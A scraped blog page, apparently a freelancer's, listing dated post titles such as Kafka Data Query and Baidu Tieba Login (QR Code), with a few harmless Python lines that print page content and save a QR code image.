Shapeshifters

2021-12-30

Kafka Data Query

2021-12-22

The Hack (Get Password And Tests)

2021-12-19

Baidu Tieba Login (Qr Code)

print(html)

print(str_html)

print(name_list)

print(img.content)

with open(“tieba.gif”, ‘wb’) as w:

w.write(img.content)

Links

freelancer

2022-01-21 Algorithm

Algorithm Python

2022-01-20 Dna Cancer Prediction

2022-01-12 Ecosim

2022-01-10 Agile Freelancing

2022-01-04 Shapeshifters

2021-12-30 Kafka Data Query

2021-12-22 The Hack (Get Password And Tests)

2021-12-19 Baidu Tieba Login (Qr Code)

print(html)

print(str_html)

print(name_list)

print(img.content)

with open(“tieba.gif”, ‘wb’) as w:

w.write(img.content)

Links

2022-01-21

Algorithm

2022-01-20

Dna Cancer Prediction

2022-01-12

Ecosim

2022-01-10

Agile Freelancing

2022-01-04

Shapeshifters

2021-12-30

Kafka Data Query

2021-12-22

The Hack (Get Password And Tests)

2021-12-19

Baidu Tieba Login (Qr Code)